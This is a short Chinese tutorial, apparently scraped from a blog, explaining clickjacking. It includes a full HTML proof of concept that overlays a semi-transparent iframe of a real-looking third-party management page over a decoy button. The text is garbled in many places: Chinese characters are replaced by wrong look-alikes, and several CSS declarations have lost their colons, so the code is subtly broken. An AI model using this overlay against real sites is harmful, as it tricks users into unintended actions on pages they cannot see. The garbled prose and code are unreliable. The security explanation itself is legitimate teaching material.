点击劫持

什么是点击劫持:html

是一种视觉上的欺骗,攻击者使用一个透明的,不可见的iframe标签,覆盖在一个网页上,诱使用户在该网页上进行操做,用户在不知情的状况下点击透明的iframe页面经过调整iframe页面的位置能够诱使用户刚好点击在iframe页面的的一些功能性按钮上ui

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>click jack</title>
    <style>
    iframe{
        width:900px;
        height250px;
        top-195px;
        left:-740px;
        z-index2;
        -moz-opacity:0.5;
        opacity0.5;
        filter:alpha(opacity=0.5);
    }
    button {
        positionabsolute;
        top10px;
        left10px;
        width120px;
        z-index:1;
    }
    </style>
</head>
<body>
    <iframe src="http://search.esgcc.com.cn/managerGf/toGfIndexPage" scrolling="no"></iframe>
    <button>CLICK jack</button>
</body>
</html>
经过控制iframe的长宽,调整top,left的位置,能够把iframe页面内任意部分覆盖到任何地方。
同时设置iframe的position位absolute并将z-index的设置为最大已达到让iframe在页面最上层。
最后,经过设置opacity来控制iframe页面的透明度,值为0是彻底不可见
相关文章
相关标签/搜索